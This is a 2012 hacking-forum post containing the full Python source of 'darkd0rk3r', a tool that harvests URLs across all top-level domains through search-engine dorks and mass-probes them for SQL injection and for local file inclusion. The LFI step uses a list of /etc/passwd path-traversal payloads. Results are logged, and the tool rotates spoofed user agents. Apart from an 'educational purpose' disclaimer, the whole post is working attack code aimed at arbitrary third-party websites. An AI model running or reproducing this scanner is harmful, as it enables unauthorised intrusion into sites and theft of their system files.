Active Members Fi8sVrs Posted January 23, 2012 Active Members Report Posted January 23, 2012 #!/usr/bin/python# This was written for educational purpose and pentest only. Use it at your own risk.# Author will be not responsible for any damage!# !!! Special greetz for my friend sinner_01 !!!# Toolname : darkd0rk3r.py# Coder : baltazar a.k.a b4ltazar < b4ltazar@gmail.com># Version : 0.3# Greetz for rsauron and low1z, great python coders# greetz for d3hydr8, r45c4l, qk, fx0, Soul, MikiSoft and all members of ex darkc0de.com, ljuska.org # import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocessfrom random import choice# ColoursW = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m";# Bannerdef logo(): print R+"\n|---------------------------------------------------------------|" print "| b4ltazar[@]gmail[dot]com |" print "| 01/2012 darkd0rk3r.py v.0.3 |" print "| |" print "|---------------------------------------------------------------|\n" print Wif sys.platform == 'linux' or sys.platform == 'linux2': subprocess.call("clear", shell=True) logo()else: subprocess.call("cls", shell=True) logo()log = "darkd0rk3r.txt"logfile = open(log, "a")threads = []numthreads = 10timeout = 10socket.setdefaulttimeout(timeout)maxc = 30lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]sqlerrors = {'MySQL': 'error in your SQL syntax', 'MiscError': 'mysql_fetch', 'MiscError2': 'num_rows', 'Oracle': 'ORA-01756', 'JDBC_CFM': 'Error Executing Database Query', 'JDBC_CFM2': 'SQLServer JDBC Driver', 'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server', 'MSSQL_Uqm': 'Unclosed quotation mark', 'MS-Access_ODBC': 'ODBC Microsoft Access Driver', 'MS-Access_JETdb': 'Microsoft JET Database', 'Error' : 'Error Occurred While Processing Request', 'Error' : 'Server Error', 'Error' : 'Microsoft OLE DB Provider for ODBC Drivers error', 'Error' : 'Invalid Querystring', 'Error' : 'OLE DB Provider for ODBC', 'Error' : 'VBScript Runtime', 'Error' : 'ADODB.Field', 'Error' : 'BOF or EOF', 'Error' : 'ADODB.Command', 'Error' : 'JET Database', 'Error' : 'mysql_fetch_array()', 'Error' : 'Syntax error', 'Error' : 'include()', 'Error' : 'mysql_numrows()', 'Error' : 'GetArray()', 'Error' : 'FetchRow()', 'Error' : 'Input string was not in a correct format', 'Error' : 'Not found'}header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Opera/8.00 (Windows NT 5.1; U; en)', 'amaya/9.51 libwww/5.4.0', 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']domains = {'All domains':['ac', 'ad', 'ae', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'as', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mk', 'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'nc', 'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'za', 'zm', 'zw', 'com', 'net', 'org','biz', 'gov', 'mil', 'edu', 'info', 'int', 'tel', 'name', 'aero', 'asia', 'cat', 'coop', 'jobs', 'mobi', 'museum', 'pro', 'travel']}stecnt = 0for k,v in domains.items(): stecnt += 1 print "\n"+str(stecnt)+" - "+ksitekey = raw_input("\nEnter 1 for all domains: ")sitearray = domains[domains.keys()[int(sitekey)-1]]inurl = raw_input('\nEnter your dork: ')print "\nNumber of SQL errors : ",len(sqlerrors)print "Number of LFI paths : ",len(lfis)print "Number of headers : ",len(header)print "Number of domains : ",len(v)print "\n"def search(inurl, maxc): urls = [] for site in sitearray: page = 0 try: print "Site: ",site while page < int(maxc): jar = cookielib.FileCookieJar("cookies") query = inurl+"+site:"+site results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp' request_web =urllib2.Request(results_web) agent = random.choice(header) request_web.add_header('User-Agent', agent) opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) text = opener_web.open(request_web).read() stringreg = re.compile('(?<=href=")(.*?)(?=")') names = stringreg.findall(text) page += 1 for name in names: if name not in urls: if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name): pass elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name): pass else: urls.append(name) except(KeyboardInterrupt): pass tmplist = [] finallist = [] print "\n[+] URLS (unsorted): ",len(urls) for url in urls: try: host = url.split("/",3) domain = host[2] if domain not in tmplist and "=" in url: finallist.append(url) tmplist.append(domain) except: pass print "[+] URLS (sorted) : ",len(finallist) return finallistclass injThread(threading.Thread): def __init__(self,hosts): self.hosts=hosts;self.fcount = 0 self.check = True threading.Thread.__init__(self) def run (self): urls = list(self.hosts) for url in urls: try: if self.check == True: ClassicINJ(url) else: break except(KeyboardInterrupt,ValueError): pass self.fcount+=1 def stop(self): self.check = Falseclass lfiThread(threading.Thread): def __init__(self,hosts): self.hosts=hosts;self.fcount = 0 self.check = True threading.Thread.__init__(self) def run (self): urls = list(self.hosts) for url in urls: try: if self.check == True: ClassicLFI(url) else: break except(KeyboardInterrupt,ValueError): pass self.fcount+=1 def stop(self): self.check = Falsedef ClassicINJ(url): EXT = "'" host = url+EXT try: source = urllib2.urlopen(host).read() for type,eMSG in sqlerrors.items(): if re.search(eMSG, source): print R+"\nw00t!,w00t!:", O+host, B+"Error:", type logfile.write("\n"+host) else: pass except: passdef ClassicLFI(url): lfiurl = url.rsplit('=', 1)[0] if lfiurl[-1] != "=": lfiurl = lfiurl + "=" for lfi in lfis: try: check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read() if re.findall("root:x", check): print R+"\nw00t!,w00t!: ", O+lfiurl+lfi logfile.write("\n"+lfiurl+lfi) break except: passdef injtest(): print "\n[+] Preparing for SQLi scanning ..." print "[+] Can take a while ..." print "[!] Working ..." i = len(usearch) / int(numthreads) m = len(usearch) % int(numthreads) z = 0 if len(threads) <= numthreads: for x in range(0, int(numthreads)): sliced = usearch[x*i:(x+1)*i] if (z<m): sliced.append(usearch[int(numthreads)*i+z]) z +=1 thread = injThread(sliced) thread.start() threads.append(thread) for thread in threads: thread.join()def lfitest(): print "\n[+] Preparing for LFI scanning ..." print "[+] Can take a while ..." print "[!] Working ..." i = len(usearch) / int(numthreads) m = len(usearch) % int(numthreads) z = 0 if len(threads) <= numthreads: for x in range(0, int(numthreads)): sliced = usearch[x*i:(x+1)*i] if (z<m): sliced.append(usearch[int(numthreads)*i+z]) z +=1 thread = lfiThread(sliced) thread.start() threads.append(thread) for thread in threads: thread.join()usearch = search(inurl,maxc)menu = Truewhile menu == True: print R+"\n[1] Injection Testing" print "[2] LFI Testing" print "[0] Exit\n" chce = raw_input(":") if chce == '1': injtest() if chce == '2': lfitest() if chce == '0': print R+"\n[-] Exiting ..." mnu = False sys.exit(1)mirror Quote
